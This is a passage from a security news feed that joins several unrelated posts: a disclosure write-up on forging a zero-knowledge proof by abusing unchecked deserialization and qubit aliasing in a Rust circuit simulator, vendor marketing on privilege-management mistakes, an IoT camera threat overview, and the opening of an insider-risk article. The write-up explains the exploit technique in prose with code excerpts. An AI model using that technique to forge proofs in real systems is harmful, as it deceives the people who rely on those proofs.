# (1, 1, 1) -> (0, 0, 0)

# If q0 and q1 are set, flip q2.
CCX q0 q1 q2
# If q0 is set, flip q1.
CX q0 q1
# Flip q0.
X q0

To verify that a circuit computes the correct function, the simulator deserializes the circuit, randomly initializes the qubits (e.g., to (1, 0, 1)), iteratively applies every operation in the circuit, and panics unless the final state is as expected (e.g., (1, 1, 0)). The simulator repeats this for many different inputs (9,024 times, to be precise), so proving that the simulator terminated without error is essentially the same as proving that the circuit is correct with high probability. In Google’s zkVM program, the circuit must compute one elliptic curve point addition, a critical subroutine of Shor’s algorithm for solving the elliptic curve discrete logarithm problem.

In addition to checking that the circuit computes the correct function, it also counts the total number of operations, the number of qubits, and the average number of Toffoli gates (some Toffoli gates are conditioned on classical bits and may be skipped during simulation). These performance metrics are checked to ensure they do not exceed specified upper bounds; if they don’t, the upper bounds are committed as public output.

Plan of attack

Since Google’s zero-knowledge proof comes from the results of running a Rust simulator on a private kickmix assembly script, we can create our own zero-knowledge proof by providing our own private input to the same program. If we find some input that causes the simulator to misreport the quantum costs, we’ll have successfully forged a proof. To beat Google’s results on any metric, we have the following goals:

• Must compute elliptic curve point addition correctly
• Preferably reports fewer than 17 million total operations
• Preferably reports fewer than 2.1 million Toffoli gates
• Preferably reports fewer than 1,175 qubits

This turns a quantum computing problem into an application security problem. Any deserialization bugs when parsing the kickmix circuit input are fair game, as well as any logic bugs we find in the simulator.

Vulnerability 1: Bypassing the Toffoli counter

One area of concern in the Rust source code was the use of unsafe blocks, disabling important memory safety checks. This was presumably done to reduce the overall cycle count of the zkVM guest program; each additional bounds check inflates the already substantial cost of generating a zero-knowledge proof, particularly checks that run millions of times. The vulnerability starts in the following two lines of code from program/src/main.rs.

let private_circuit_bytes = sp1_zkvm::io::read_vec();
let ops = unsafe {
 rkyv::access_unchecked::<rkyv::Archived<Vec<Op>>>(&private_circuit_bytes)
};

The first line shows that private circuit bytes (private_circuit_bytes) are directly read from outside the zkVM, and the use of the rkyv serialization library’s access_unchecked function instructs the library to assume that private_circuit_bytes corresponds to a valid serialization. But data from outside the zkVM is untrusted, so what happens if the bytes, which are meant to represent a vector of circuit operations, are malformed?

The answer is “not much.” There are relative pointer offsets and length fields in the serialization for the Vec type, but I couldn’t see a viable path from manipulating those to getting the prover to underreport resource counts. The Op type is similarly simple, consisting of seven 32-bit fields: one describes the OperationType, and six describe the identifiers of which qubits and classical bits to use as inputs and outputs for the operation. For a while, I was chasing down a bug in how the magic identifier 0xffffffff could bypass the qubit count and trigger an out-of-bounds write in the array of simulated qubit values. I was deep in the details of understanding the Rust heap allocator used by the SP1 zkVM before a colleague pointed out that Google was using SP1’s 64-bit RISC-V architecture rather than the potentially exploitable 32-bit architecture.

That left the kind field, an enum describing which of the 18 supported kickmix OperationType opcodes to apply. When simulating the quantum circuit, the guest program iterates over the vector of operations and determines whether to conditionally execute each operation; if so, it increments the count of Toffoli or Clifford gates, depending on the operation type, and executes the operation. This code is in Simulator::apply_iter.

match op.kind {
 OperationType::CCZ | OperationType::CCX => {
 self.stats.toffoli_gates += executed_shots;
 }
 OperationType::CX
 | OperationType::CZ
 | OperationType::Swap
 | OperationType::R
 | OperationType::Hmr => {
 self.stats.clifford_gates += executed_shots;
 }
 // Note: X and Z are not considered Clifford gates in the
 // stats because they can be tracked in the classical control system.
 // They don't need to cause something to happen on the quantum computer.
 _ => {}
}

match op.kind {
 OperationType::CCX => {
 let v = cond & self.qubit(op.q_control1) & self.qubit(op.q_control2);
 *self.qubit_mut(op.q_target) ^= v;
 }
 OperationType::CX => {
 let v = cond & self.qubit(op.q_control1);
 *self.qubit_mut(op.q_target) ^= v;
 }

What if op.kind falls outside of the expected 0–17 range because rkyv was instructed not to check this value during deserialization? This is undefined behavior, so to investigate, I used Ghidra to reverse-engineer the RISC-V ELF binary Google provided with their proof.

After identifying the location of this function in the binary, I discovered that the Rust compiler emits a pair of jump tables for these two match expressions. The first jump table determines which gate counter to increment, and the second performs the actual operation. But we maliciously control the value of op.kind, so what if instead of the normal behavior, we dereference past the end of the first jump table and directly jump to an address from the second jump table? Then an out-of-range OperationType could still perform the correct operation, but it would completely bypass the Toffoli counter!

I calculated the necessary offsets, modified Google’s example prover code to inject the invalid operation types, and attempted to simulate a zero-knowledge proof of a simple 64-qubit adder circuit. To my surprise, it worked on the first try.

stdout: circuit.average_cliffords_performed() = 0
stdout: circuit.average_non_cliffords_performed() = 0
stdout: The circuit passed fuzz testing.

I had been concerned that the RISC-V registers would be in an invalid state when jumping into the wrong table, but this ended up not being the case. Now I had the primitive I needed to forge a circuit that misreports the number of Toffoli gates, and I just had to scale up my attack on the 64-qubit adder circuit to full elliptic curve point addition.

Building a quantum circuit

I now had a virtually unlimited budget for Toffoli operations, and the path forward looked simple. I could implement any kickmix circuit that correctly performs elliptic curve point addition without worrying about the Toffoli count, tweak the operation types before feeding the script to the prover, and then forge a proof for whatever Toffoli upper bound I wanted. I might use more total operations or more qubits than Google’s circuits, but it would be an amusing proof of concept. The only concern was that the prover’s running time is proportional to the total number of operations, so my circuit still needed a reasonably low operation count.

It turns out that programming a quantum computer is way more challenging than I anticipated, and this is because of the requirements of reversibility and uncomputation.

Requirement 1: Reversibility. A quantum circuit is made up of a series of reversible (unitary) gates. For kickmix circuits, think of these as reversible bit operations. For example, c’ = c XOR b is allowed because the original value of c can be recovered with c = c’ XOR b. On the other hand, c’ = c AND b is not allowed because if c’ and b are both 0, we cannot know if c was originally 0 or 1. By itself, AND is not reversible, but with an additional input in Toffoli gates, it is. The kickmix Toffoli operation CCX q1 q2 q3 updates q3 to q3’ = q3 XOR (q1 AND q2), and this operation can be reversed with q3 = q3’ XOR (q1 AND q2).

Requirement 2: Uncomputation. To avoid the undesirable effects of entanglement, any auxiliary (or ancilla) qubits used to store intermediate results of computation must be “uncomputed,” or reset to state 0. The reversibility requirement makes this a challenge, since the intermediate result may have been 0 or 1. The intermediate state must be uncomputed from the computation result in order to be reversibly cleared out.

As we try to build our reversible elliptic curve point addition circuit with uncomputation, a couple of tools are available. We could use Bennett’s trick, which involves preserving inputs and outputs in spare qubits, then running the full computation a second time in reverse to clear ancilla qubits. This approach isn’t ideal because it roughly doubles the operation count for each level of the call stack. Another approach is to use the more efficient measurement based uncomputation. Google has revealed that this is the technique their circuits use, but it requires a much finer-grained algorithmic analysis to apply correctly.

Vulnerability 2: Efficient operations with register aliasing

After struggling to implement elliptic curve point addition while keeping the operation count and qubit count low, I discovered another exploitable vulnerability: register aliasing. Recall the Toffoli (CCX) operation defined in Simulator::apply_iter.

OperationType::CCX => {
 let v = cond & self.qubit(op.q_control1) & self.qubit(op.q_control2);
 *self.qubit_mut(op.q_target) ^= v;
}

There’s no check that the qubit inputs (op.q_control1 and op.q_control2) are different from the qubit output (op.q_target), so tying all three together becomes q1 = q1 ^ (q1 & q1) = 0. That is, we can immediately reset a qubit to zero, violating the quantum requirement of reversibility and making uncomputation trivial.¹

In addition, we can use this primitive to create any logical gate we want, like the classical AND gate that violates reversibility or the functionally complete NAND gate. Now that I don’t have to deal with the limitations of quantum circuits, it’s basically Nand2Tetris, except the goal is elliptic curve point addition. I implemented basic logic gates, followed by integer addition and subtraction, modular addition, modular multiplication, modular inversion, and, finally, point addition.

After exploiting a memory corruption issue in unsafe Rust code, implementing elliptic curve operations from the ground up using individual logic gates, and squeezing whatever performance I could out of the non-quantum aspects of the design, I finally had a working kickmix script that passed validation. 0 Toffolis, 8 million operations, and 1288 qubits. This beats one of Google’s two proofs but falls short of beating the other one by just 113 qubits.

If I wanted to truly claim that our zero-knowledge proof beat Google’s, I couldn’t leave it there. I needed to find some way to shave off 113 qubits, but I was all out of vulnerabilities.

The final challenge: Euclidean algorithm optimization

Profiling my circuit made it clear that the most expensive operation was modular inversion, and the same is true for many published quantum elliptic curve addition circuits. My optimized circuit required 4 field elements (1024 qubits) for the inversion, including some tricks to store intermediate field elements, and a handful of qubits for control flags and carry bits. If I were to beat Google’s proof, I needed to lose those tricks and do modular inversion using fewer than 2.59 field elements.

One idea is to use Fermat’s little theorem: $x^{-1} \equiv x^{p-2} \pmod{p}$. We replace inversion with exponentiation, which is just a sequence of modular multiplications. Each multiplication requires three field elements, and this approach requires hundreds of multiplications, well beyond our total qubit and operations budget.

What many quantum circuits use instead is a variant of the extended Euclidean algorithm (EEA). To compute $x^{-1} \pmod{p}$, this algorithm involves four variables $(a, u, b, v)$ initialized to $(x, 1, p, 0)$. The algorithm proceeds through several iterations to cancel out bits of $a$ and $b$, perform the same operations to $u$ and $v$, and (assuming $x$ and $p$ are coprime) the algorithm terminates with $(a, u, b, v) = (0, 0, 1, x^{-1})$.

I based my implementation on the binary EEA, a variant that involves canceling out the least significant bits of a and b rather than the standard most significant bits. Thanks to Thomas Pornin’s clear exposition of this algorithm, it was relatively easy to reimplement a high-performance version in my circuit, but the qubit overhead was still too high.

Next, I found this recent preprint by Han Luo, Ziyi Yang, Ziruo Wang, Yuexin Su, and Tongyang Li, which came out just days after Google’s announcement. It describes a method to compute modular inverses with the space equivalent of 3 field elements. Many of the techniques went above my head, but they open-sourced their code, so I had a much easier time understanding their paper. Their code included a Qiskit circuit, but I was unsuccessful in integrating this into my exploit. Despite these difficulties, the paper gave me the key term I would need to shave off the remaining qubits: Proos-Zalka register sharing.

The 2003 paper by John Proos and Christof Zalka recognizes that over the course of the standard EEA, the bit-lengths of a and b gets smaller, while the bit-lengths of u and v get larger. Their register-sharing algorithm saves space by limiting the number of qubits for each value at each iteration. This can fail with low probability, but rare failures are tolerable when doing Shor’s algorithm. I implemented a classical version of the register-sharing algorithm of Proos and Zalka, and I ended up with 30 million total operations, almost twice Google’s result.

Finally, I had the insight I needed. What if I combined the operation efficiency of the binary EEA with the space efficiency of the Proos-Zalka algorithm? The binary EEA doesn’t have the same bounds on u and v as the standard EEA, but a slight tweak (doubling v instead of halving u) does, and needs only a simple correction factor at the end. This idea is deeply connected to Kaliski’s method, which is considered in papers by Roetteler et al., Gouzien et al., Häner et al., and Litinski. Reversibility constraints require an extra qubit for each of about 512 iterations, but our implementation doesn’t need to be reversible.

Thanks to register sharing, my final modular inversion requires the space of only 2.55 field elements, barely less than the 2.59 required. In total, my elliptic curve point addition circuit uses 8,288,880 operations, 1,164 qubits, 5,980,691 pre-bypass Toffoli gates, and 0 reported Toffoli gates. This is less than half the reported operations in Google’s circuits and just a few qubits fewer than their best variant. The source code for generating this proof of concept is available here.

What Google’s secret circuit (probably) does

The zero-knowledge properties of the proof makes this unanswerable, but framed in a different way, we can answer what problems are documented in prior work that Google would have to overcome to achieve their results.

Google’s circuit does elliptic curve point addition, which requires at least one modular division. In previous circuits, modular inversion is the most expensive step in terms of gate count and qubit count, so that’s where improvements are needed most. Our register-sharing implementation shows that 2.55 field elements of storage is enough for a nonreversible circuit, but prior quantum implementations of Kaliski’s EEA variant require an extra qubit per iteration to preserve reversibility. This adds 512 qubits of overhead to guarantee that modular inversion is invertible, and a circuit based on Kaliski’s method with Google’s qubit counts would need to solve this problem.

Even the most revolutionary scientific breakthroughs are rooted in published literature, and I think a healthy understanding of prior work can help demystify the risk of a shadowy adversary destabilizing cryptocurrencies with a secret algorithm.

The aftermath

Zero-knowledge proofs are a transformational new technology with wide-ranging impacts, and their application to vulnerability disclosure is still new. Without knowing the details of their circuit, it’s impossible for me to conclude whether Google’s decision to announce this discovery using a zero-knowledge proof is justified. However, I do have experience with both vulnerability disclosure and academic publishing, and this points to broader implications in the deployment of zero-knowledge technology.

One potentially overlooked aspect of coordinated disclosure is the importance of an embargo period. Current industry best practices recommend a 30-day buffer between a timely patch becoming available and full disclosure of the technical details. This allows time for patch adoption, benefits defenders who rely on the technical details, and prevents opportunistic exploitation by low-skill attackers. Zero-knowledge proofs can communicate the importance of patching, but they are not a cryptographic replacement for the benefits of eventual disclosure.

In academic publishing, the more details that are available in published work, the easier it is to improve upon that work. Papers that intentionally facilitate replication and have a clear statement of methods and claims are usually the ones that are later cited and have the greatest impact. Using a zero-knowledge proof still establishes improvement over prior work; it also indicates a confidence that no one else will independently develop the same improvement, and that no one but the authors will be able to improve upon the discovery in future work.

As a direct example of the value of open publishing, I want to highlight Google’s decision to release a well-documented kickmix simulator and thorough proof generation instructions. This is the sole reason I was able to find and demonstrate the vulnerabilities, and their patches simultaneously increase confidence in their zero-knowledge claims while preventing attackers from forging proofs of quantum breakthroughs that spread fear, uncertainty, and doubt.

Zero-knowledge systems are an incredible technology with many applications, but their use introduces a different set of risks than traditional approaches. They aren’t a magic wand that eliminates trust; instead, they redistribute trust from an original domain, such as the opinions of scientific experts, to trust in programming languages, compilers, proof systems, and cryptography experts. There are many frontiers that are considering the benefits of zero-knowledge, including electronic voting and age verification, but it’s also critical to consider the risks and make plans for what happens when this technology fails.

Acknowledgments

Thank you to Craig Gidney, Ryan Babbush, Tanuj Khattar, and Adam Zalcman from Google for their quick response and for putting up with my naive questions about quantum algorithms, and to Sophie Schmieg for putting us in touch. Finally, this would not have happened without Joe Doyle and the wider Trail of Bits cryptography team, whose suggestions and enthusiasm pushed this project over the finish line.

The post We beat Google’s zero-knowledge proof of quantum cryptanalysis appeared first on Security Boulevard.

Every growing business has at least one lingering privilege management issue. It’s not because your team is lazy. It’s because organizations grow, restructure and hire far faster than manual access processes can keep up.

When roles evolve or contractors come and go, permissions accumulate behind the scenes—creating invisible attack paths.

In this post, we list the seven most common privilege access mistakes based on our experience and expertise as a data security and cybersecurity company. We’ll also look at how they show up in real‑world breaches and explain why the underlying causes are organizational rather than technical.

We’ll also highlight how a zero‑trust approach, privileged access management (PAM), and database‑privileged access management (DBPAM) can help you prevent these issues before they turn into headlines.

TABLE OF CONTENTS

Granting Excessive Access by Default

Not Removing Access When Roles Change or Employees Leave

Poorly Defined Roles and Permissions

Shared or Generic Accounts

Overreliance on Manual Access Management

Allowing Permanent Elevated Privileges

Treating Privilege Management as a One‑Time Setup

No Cost, Big Protection.

Download Mamori Freemium and begin securing your network, users, and databases with zero-trust.

Get Mamori Freemium

1. Granting Excessive Access by Default

When onboarding a new employee or contractor, it’s tempting to grant broad access “just in case” to avoid bottlenecks. These well‑intentioned shortcuts dramatically increase your attack surface and allow a single compromised account to access sensitive data.

Real‑World Examples

• Dropbox Sign breach (May 2024) – Attackers exploited a single service account with broad privileges. Because the account was over‑provisioned, they accessed the entire customer database, including emails, hashed passwords, API keys, OAuth tokens and MFA details.

• Tesla new‑hire data theft (January 2021) – A newly hired engineer was given access to 26,000 proprietary files within days of joining the company. The employee copied manufacturing and software source code to his personal Dropbox account in his first week. This happened because onboarding teams granted access in advance.

• OWASP statistics – The OWASP Foundation has recorded hundreds of thousands of broken access control vulnerabilities in contributed projects, largely driven by over‑permissioned roles and service accounts.

Root Causes

How to Fix It

Adopt the principle of least privilege. Break down broad roles into granular entitlements and grant access only when a user needs it.

Mamori.io allows you to provision just‑in‑time database sessions instead of standing accounts, so new hires receive minimal rights and can request elevation when required. Coupled with micro‑segmentation and strong multi‑factor authentication, you reduce the attack radius if an account is compromised.

2. Not Removing Access When Roles Change or Employees Leave

“Zombie” accounts are ticking time bombs. Former employees carry both the credentials and the motive to misuse them, while attackers actively scan for stale accounts that slip through the offboarding cracks.

Real‑World Examples

• FinWise Bank (2025) – A former employee retained access to sensitive customer systems after leaving. Because their account wasn’t deactivated, nearly 700,000 consumer records were exposed when the credentials were used to gain unauthorized access.

• U.S. State Government (2024) – Threat actors obtained leaked credentials belonging to a former employee whose Active Directory account had not been disabled. They authenticated via the internal VPN, accessed a virtual machine and escalated to an administrator account. The breach went undetected because no offboarding event triggered a review.

• Cash App/Block (2021–2022) – After leaving the company, a former employee downloaded reports containing customer brokerage data. The company later settled the resulting lawsuit for $15 million because the ex‑employee’s access wasn’t revoked promptly.

• Verizon DBIR statistics (2024) – According to Verizon’s 2025 Data Breach Investigation Report, insider misuse remains a major issue, with 22% of breaches involving insiders, often due to failures in deprovisioning.

‍Root Causes

How to Fix It

Automate deprovisioning across all systems. Use a single identity source of truth that integrates HR events with privilege workflows, so that when someone changes roles or leaves, their entitlements expire automatically.

Mamori.io automates these workflows entirely (see automate ISO 27001 access controls). Mamori.io ties session access to real‑time authentication events using policies, making it impossible to login without an active employment status. Continuous auditing and anomaly detection further identify lingering access before attackers do.

3. Poorly Defined Roles and Permissions

‍Overly broad or outdated roles create structural vulnerabilities that persist across the organization. When employees can access data outside their job scope, misuse can go unnoticed for months or years.

Real‑World Examples

• Insider data sales at major banks (2024) – A Bloomberg investigation revealed that low‑level employees at top U.S. banks, including JPMorgan and Bank of America, sold customer data via Telegram channels. Analysts noted that these employees had access to far more information than their jobs warranted because role templates were too broad.

• Marks & Spencer contractor compromise (2025) – A contractor working for Marks & Spencer (via Tata Consultancy Services) had their email credentials phished, exposing over 9.4 million customer records. Investigators found that contractor permissions were defined against broad internal roles rather than scoped to specific systems.

• Ubiquiti Networks extortion (2021) – A senior IT employee misused a bundled administrator role with access to AWS, GitHub and other internal systems, stealing data and attempting to extort his employer. The single “admin” role had no functional boundaries, making abuse easy.

Root Causes

How to Fix It

Perform role audits to understand which permissions are actually used in each job and decompose broad roles into smaller, purpose‑built ones.

Aside from preset policies, Mamori.io allows the use of just‑in‑time session and on-demand permission escalations so that cross‑functional teams can request what they need without becoming permanently over‑privileged.

4. Shared or Generic Accounts

Using shared credentials destroys accountability. If several people share an admin password, it’s impossible to know who did what. When an attacker compromises one user, everyone’s access is compromised.

Real‑World Examples

• Uber contractor credential compromise (2022) – Attackers found a contractor’s password on the dark web and social‑engineered their way past two‑factor authentication. Because the contractor’s account included “super admin” access to Uber’s Slack and Google G Suite, the attackers could configure core systems. The incident highlighted how shared credentials and over‑scoped access magnify the impact of a single compromise.

• Okta support system breach (2023) – A shared support account used by a third‑party vendor was compromised, giving attackers access to files uploaded by Okta’s customers. With multiple vendor employees sharing the same credential, investigators could not determine whose actions led to the breach.

• Schneider Electric Jira server breach (2024) – Hackers exploited exposed credentials for generic service accounts in Schneider Electric’s development environment, scraping 40 GB of data—about 400,000 records.

Root Causes

How to Fix It

Retire shared and generic accounts wherever possible. Enforce individual identities with strong multi‑factor authentication and assign each privileged user a unique account tied to their personal login.

Mamori.io enables organizations to achieve a zero-trust architecture. We integrate with MFA providers and automatically record every access session to ensure accountability. For vendors, we can issue temporary, scoped credentials that expire automatically.

5. Overreliance on Manual Access Management

Spreadsheets, email chains and ad‑hoc approvals might work for ten users, but they collapse under the weight of hundreds of applications and thousands of employees. Manual processes create hidden permissions, inconsistent enforcement and a backlog of errors that attackers can exploit.

Real‑World Examples

• SolarWinds supply chain attack (2020) – Attackers moved laterally inside SolarWinds for months because access across the environment was managed manually and inconsistently. There was no automated way to flag anomalous privilege usage or detect accounts with excessive standing access.

• Microsoft Midnight Blizzard (2024) – Russian state‑sponsored actors used password‑spray attacks to compromise accounts lacking multi‑factor authentication. Microsoft’s post‑incident review noted that inconsistent manual oversight of service account privileges contributed to the scope of the breach.

• Widespread pattern – IBM’s Cost of a Data Breach report shows that it takes 277 days on average to identify and contain a breach. Extended dwell time is often a symptom of manual, reactive access reviews that fail to detect escalating abuse.

Root Causes

How to Fix It

Automate the entire privilege lifecycle—from request to approval, provisioning, expiry and audit.

With Mamori.io, access policies are codified and enforced centrally, and any exception triggers an alert. Just‑in‑time elevation means that elevated rights exist only when needed and are logged in detail. Automated reviews surface dormant accounts and unused permissions so that nothing falls through the cracks.

6. Allowing Permanent Elevated Privileges

Standing administrator accounts are prime targets. Every day an elevated account exists is another day it can be phished, brute‑forced or abused from the inside.

Real‑World Examples

• Colonial Pipeline ransomware (2021) – Attackers broke in using a legacy VPN account that had no multi‑factor authentication. Critically, the account had standing administrative privileges. The single compromised password allowed the attackers to move laterally and deploy ransomware that shut down fuel supply to the U.S. East Coast.

• Permanent domain admin exposure – Microsoft’s own security guidance notes that domain administrator accounts with permanent privileges are targeted 24/7 because they never expire. Most organizations rarely need domain‑wide privileges outside of specific maintenance windows.

• BeyondTrust breach (2024) – Attackers used a compromised API key with permanent elevated privileges to reset passwords for local application accounts. There was no time‑bound or task‑scoped limitation, so the key granted unrestricted access until revoked.

Root Causes

How to Fix It

Implement just‑in‑time (JIT) privileged access. For legacy systems that lack JIT support, use jump servers with session recording and strict network segmentation.

With Mamori.io, users request elevation for a specific task, and the system grants it only for the duration required. When the session ends, privileges are automatically revoked. Combining JIT with multi‑factor authentication and least privilege reduces the window of opportunity for attackers.

7. Treating Privilege Management as a One Time Setup

Privilege management is not a project you complete once. It’s a discipline that must evolve with your business. When you set access rules and never revisit them, permissions drift away from their intended scope. Attackers thrive in that drift.

Real‑World Examples

• Marriott/Starwood breach (2014–2018) – Attackers infiltrated Starwood’s network in July 2014 and remained undetected until 2018 after Marriott’s acquisition. Investigators found that privilege controls had not been updated since Starwood’s original configuration, allowing attackers to masquerade as legitimate users for four years.

• Coinbase support bribery (2025) – Scammers bribed external support agents to steal customer data. Access permissions and monitoring thresholds in the support environment hadn’t been revisited since deployment, leaving stale policies that didn’t reflect current risk.

• Industry statistics – OWASP and data breach reports consistently rank access control failures as the top cause of breaches year after year. The problem isn’t that organizations never implement controls; it’s that they fail to maintain and audit them continuously.

‍Root Causes

How to Fix It

Embed privilege management into day‑to‑day operations. Schedule continuous, automated access reviews that compare actual usage against intended permissions.

Mamori.io detects anomalous activities and access patterns in real time, prompting immediate remediation and notification to stakeholders. In addition to this tool, you need to make privilege maintenance part of change management and link it to HR events so that policies evolve with your organization.

Closing Thoughts

These seven mistakes are present in almost every organization, not because people are careless but because manual processes cannot keep up with modern business dynamics. Large workforces, fluid roles and complex environments create conditions where privilege sprawl is inevitable.

By recognizing that privilege management is ongoing, and by adopting just‑in‑time access, granular roles, individual accountability and automated deprovisioning, you can dramatically shrink your attack surface.

About Mamori.io

Mamori.io is an all-in-one solution that provides zero-trust security on multiple layers – from the network, servers, all the way down to the database. The same system can also help organizations comply with privacy regulations, reduce cyber insurance premiums, and automate ISO 27001.

For small businesses, Mamori.io has all the features to completely secure their data. For large businesses, Mamori.io covers security gaps, secures external vendor access, and provides access controls to the database.

Schedule a demo with Mamori.io or request your free trial. If you’re a small business with $10 million USD in gross revenue or less, you can get 20 free Mamori.io licenses.

The post 7 Privilege Management Mistakes That Put Business Data at Risk appeared first on Security Boulevard.

TL;DR

Security cameras, IoT, and OT devices that are meant to protect us, are easily compromised and turned against defenders, enabling nation-state reconnaissance (Iranian hacks on Hikvision/Dahua cameras during strikes, Russian webcam abuse in Ukraine), espionage via exposed live feeds, ransomware pivots (Akira group bypassing EDR), massive botnets (Mirai/Eleven11bot), and physical disruption. Structural weaknesses like default credentials, poor patching, internet exposure, supply-chain risks and espionage by design makes them ideal attacker tools, especially since they can’t receive endpoint security agents. Zero Trust Connectivity (ZTc) solves this by enforcing network-level Zero Trust: it blocks unauthorized connections before they form, requires no endpoint agents, prevents lateral movement, and supports decentralized deployment with sovereign data custody — giving defenders a powerful way to secure all devices without traditional detection or centralized decryption. In short, the watcher must be properly isolated at the network layer. In cybersecurity, the watcher must be watched most closely of all.

When Your Own Eyes Turn Against You: How Compromised Security Cameras and IoT/OT Devices Become Tools for Your Attackers

Turning Defense Technology Against the Defenders

We live in an era where security cameras, smart sensors, industrial controllers, other Internet of Things (IoT) and Operational Technology (OT) devices are deployed everywhere—from traffic poles, corporate boardrooms and factory floors to homes and critical infrastructure. They are meant to watch, alert, and protect. Yet when attackers gain control, these very devices become potent weapons in their hands: silent observers feeding real-time intelligence, hidden pivots into protected networks, launchpads for massive distributed denial-of-service (DDoS) attacks, or even tools for physical disruption and espionage.

The problem is structural. Many IoT and OT devices ship with default credentials, receive infrequent (or no) firmware updates, lack proper network segmentation, and are exposed directly to the internet. Even in well managed deployments of IoT and OT, the supply chain threat is an additional attack vector. In cases where defenders patch devices to the latest firmware update, attackers could still be turning their equipment against them by pushing compromised firmware to the devices.

Once breached they grant attackers low-effort footholds. From there, the devices can be repurposed for reconnaissance, lateral movement, data exfiltration, or amplification of larger campaigns. In OT environments, where these devices increasingly converge with IT networks, a single compromised camera or sensor can open the door to industrial control systems (ICS) that manage physical processes. Cyber as a warfare domain could be the area where underfunded or outgunned adversaries can cause the most damage.

Security researchers and government agencies have repeatedly warned against these risks but the threat is no longer theoretical. Adding to the complexity is the problem that no endpoint agent can be deployed on these devices and a single device compromised could be the only potential connection point the attackers need to advance their attack.

In the light of defending against abuse of security cameras, the following are important aspects to consider:

State Actors Weaponize Cameras for Battlefield Intelligence
In March 2026, researchers at Check Point documented hundreds of hacking attempts by Iranian-linked threat actors targeting internet-connected Hikvision and Dahua IP cameras across Israel, Bahrain, Cyprus, Kuwait, Lebanon, Qatar, and the UAE. The attempts were timed to coincide with Iranian missile and drone strikes, suggesting the cameras were being hijacked for real-time reconnaissance—spotting targets, assessing damage, or guiding follow-on kinetic operations. The attackers exploited known vulnerabilities in the cameras’ firmware and used commercial VPNs and VPS infrastructure to scan and compromise devices.

This mirrors earlier Russian tactics. In January 2024, Russian operatives compromised residential webcams in Kyiv, Ukraine, to monitor air-defense systems and critical infrastructure ahead of missile strikes; some feeds were even streamed publicly on YouTube. A May 2025 joint advisory from more than 20 international agencies (including the U.S., UK, Australia, and others) warned of an ongoing Russian GRU campaign that systematically targeted RTSP servers hosting IP cameras at Western logistics and technology firms, primarily to harvest live imagery and metadata from Ukrainian networks.

Exposed Cameras as Everyday Espionage Tools
In June 2025, cybersecurity firm Bitsight identified more than 40,000 security cameras worldwide with live feeds accessible via nothing more than a web browser and an IP address. Many were located in homes, offices, factories, and public spaces; attackers could view interiors, employee movements, or manufacturing processes in real time. Dark-web forums openly discussed tools to locate and abuse these exposures.

Nation State Espionage Interest
Nation States with an interest in espionage are funnelling data in huge quantity to be processed and harvested for information. Especially concerning China, a myriad of reports show concrete evidence of automatic “phoning home” behavior, persistent data exfiltration even when cloud features are disabled, and specific incidents of communication with China-based servers. This aligns with broader concerns under China’s National Intelligence Law, which requires companies to assist state intelligence efforts.

IoT Cameras as Ransomware Springboards
In early 2025, the Akira ransomware group demonstrated a particularly creative pivot. After endpoint detection and response (EDR) tools blocked their Windows-based encryptor, attackers gained remote shell access to an unsecured Linux-based IP webcam on the victim’s network. From the camera they mounted network shares, exfiltrated data, and launched the ransomware payload—bypassing traditional defenses entirely.

Botnet Armies Built from Hijacked Cameras
Compromised IP cameras and network video recorders (NVRs) remain favorite building blocks for massive botnets. In June 2025, the Eleven11bot malware infected roughly 30,000 devices—mostly outdated IP cameras and NVRs—turning them into a coordinated attack infrastructure. Variants of the decade-old Mirai malware continue to evolve, exploiting unpatched flaws such as those in AVTECH cameras as late as 2024–2025.

Critical Infrastructure at Risk
Unpatched vulnerabilities in AVTECH IP cameras—widely used in finance, healthcare, transportation, and other critical sectors—were actively leveraged to spread Mirai-based malware, prompting advisories from the U.S. Cybersecurity and Infrastructure Security Agency (CISA).

Physical disruption is easily achieved. In July 2025, a cyberattack on the Netherlands’ Public Prosecution Service rendered dozens of speed cameras permanently offline (or at least kept them from being reactivated), demonstrating how compromised camera infrastructure can directly impair law-enforcement capabilities.

What This Means for Organizations and Individuals

These incidents show a clear pattern: attackers no longer need sophisticated zero-days to cause harm. They simply locate the weakest link in the expanding IoT/OT attack surface—often a camera —and repurpose it. The consequences range from privacy violations and espionage to physical-world kinetic support in Cyber War and large-scale service outages.

The good news is that advances in technology does not only provide more leverage to attackers - Defenders also have access to new tools: Enter Zero Trust Connectivity - a new expression of Zero Trust that is implemented on the network level, can disrupt attacks before they could establish a connection. This requires no endpoint agent and does not rely on detecting an attack before the attack could be disrupted. Deployment is decentralized which aids in resilience and facilitates sovereign data custody - meaning there is no centralized data flow or decryption required that has traditionally hindered IoT devices that contain confidential data from being protected by 3rd party security systems.

Defenders must treat every camera, sensor, and OT endpoint with the same rigor as traditional IT assets: enforce strong, unique credentials; implement network segmentation (never expose OT/IoT devices directly to the internet); apply verified patches promptly; monitor for anomalous behavior; and adopt zero-trust principles even for “dumb” devices. The vulnerability protection of ZeroTrust Connectivity without the need to detect intrusions & asset inventory are no longer optional—they are table stakes.

The uncomfortable truth is that the eyes we install to watch over us can just as easily watch for our adversaries. In cybersecurity, the watcher must be watched most closely of all.

Additional Reading:

Purdue 2.0? : Rising to the Challenge to secure OT with Zero Trust Connectivity - The ADAM Blog - ADAMnetworks - Explains the role of Zero Trust Connectivity applied to the protection of OT and Critical Infrastructure

“Wartime Usage of Compromised IP Cameras Highlight Their Danger” – Discusses Iranian, Russian, and other actors exploiting cameras for real-time intelligence in conflicts.

“When Smart Cameras Turn Blind: The Growing Cyber Threat to IoT Security Systems” – Covers vulnerabilities in smart camera infrastructure and attacks like the Netherlands speed camera incident.

“The Hidden Security Crisis: Why Your IoT Devices Are Handing Attackers the Keys to Your Network” – Details the Akira ransomware case using a compromised IP webcam as a pivot.

Healing a Broken Philosophy that Keeps Hurting Healthcare - Explores the vulnerability of IoT technologies and how Zero Trust Connectivity provides a solution for protecting technology debt in IoT-rich environments.

1 post - 1 participant

Read full topic

The post When Your Own Eyes Turn Against You: How Compromised Security Cameras and IoT/OT Devices Become Tools for Your Attackers appeared first on Security Boulevard.

Written by Katie Barnett, Director of Cyber Security at Toro Solutions

Insider risk is still often framed around intent, with the focus placed on malicious employees, disgruntled contractors, or deliberate misuse of access for personal gain.
Those cases exist and they matter, but they are rarely where risk first begins, and they do not reflect how most insider-related incidents actually develop.

In reality, many cases take shape slowly and quietly. They are shaped by pressure, fatigue, disengagement, coercion, manipulation or personal strain rather than hostility. The behaviour that later causes harm is often preceded by long periods of stress, isolation, being influenced or unresolved workplace issues. By the time someone is formally labelled an insider threat,the opportunity for early, proportionate support has usually passed, and the organisation is left with far fewer options.

